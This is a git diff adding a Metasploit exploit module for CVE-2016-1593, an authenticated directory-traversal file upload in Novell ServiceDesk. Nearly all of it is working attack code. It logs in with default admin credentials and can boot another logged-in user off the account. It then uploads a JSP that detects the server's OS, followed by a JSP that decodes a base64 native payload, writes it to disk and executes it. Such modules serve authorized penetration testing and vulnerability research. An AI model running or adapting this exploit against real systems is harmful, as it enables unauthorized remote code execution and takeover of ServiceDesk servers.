diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb new file mode 100644 index 0000000000..5113a482b9 --- /dev/null +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -0,0 +1,384 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ServiceDesk Authenticated File Upload', + 'Description' => %q{ + This module exploits an authenticated arbitrary file upload via directory traversal + to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in + Windows and Linux installations of Novell ServiceDesk, as well as the Virtual + Appliance provided by Novell. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-1593' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ], + [ 'URL', 'FULLDISC' ] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'DefaultOptions' => { 'WfsDelay' => 15 }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Novell ServiceDesk / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Novell ServiceDesk / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + ], + 'Privileged' => false, # Privileged on Windows but not on (most) Linux targets + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 30 2016' + )) + + register_options( + [ + OptPort.new('RPORT', + [true, 'The target port', 80]), + OptString.new('USERNAME', + [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'admin']), + OptString.new('TRAVERSAL_PATH', + [false, 'Traversal path to tomcat/webapps/LiveTime/']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /\

\Version \#([0-9\.]+)\<\/p\>/ + return $1.to_f + else + return 999 + end + end + + + def check + version = get_version + if version <= 7.1 && version >= 6.5 + return Exploit::CheckCode::Appears + elsif version > 7.1 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + + traversal_paths = [] + if datastore['TRAVERSAL_PATH'] + traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path + end + + # add Virtual Appliance path plus the traversal in a Windows or Linux self install + traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/']) + + # test each path to determine OS (and correct path) + traversal_paths.each do |traversal_path| + jsp_name = upload_jsp(traversal_path, os_finder_payload) + + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime', jsp_name), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies + }) + + if res && res.code == 200 + if res.body.to_s =~ /Windows/ + @my_target = targets[2] + else + # Linux here + @my_target = targets[1] + end + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + return traversal_path + end + end + + return nil + end + + + def upload_jsp(traversal_path, jsp) + jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp" + + post_data = Rex::MIME::Message.new + post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@upload_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if not res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") + else + return jsp_name + end + end + + + def create_jsp + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) + var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) + var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) + var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) + var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) + var_path = Rex::Text.rand_text_alpha(rand(8) + 3) + var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + version = get_version + + # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ + login_url = $2 + @cookies = res.get_cookies + if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ + password_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + password_form = 'password' + end + if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ + username_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + username_form = 'username' + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.") + end + + # 2: authenticate and get the import_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLogin' => 'Login' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\

/) # v6.5 + import_url = $1 + else + # hmm either the password is wrong or someone else is using "our" account.. . + # let's try to boot him out + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && + res.body.to_s =~ /This account is in use on another system/ + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLoginOverride' => 'Login' + } + }) + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + import_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + end + + # 3: get the upload_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(import_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + 'ButtonImport' => 'Import' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + @upload_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") + end + + if res.body.to_s =~ /\/ + @upload_form = $1 + else + # go with the default for 7.1.0, might not work with other versions... + @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" + end + + # 4: target selection + @my_target = nil + # pick_target returns the traversal_path and sets @my_target + traversal_path = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") + else + print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + # 5: generate the JSP with the payload + jsp = create_jsp + print_status("#{peer} - Uploading payload...") + jsp_name = upload_jsp(traversal_path, jsp) + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + + # 6: pwn it! + print_status("#{peer} - Requesting #{jsp_name}") + send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)}) + + handler + end +end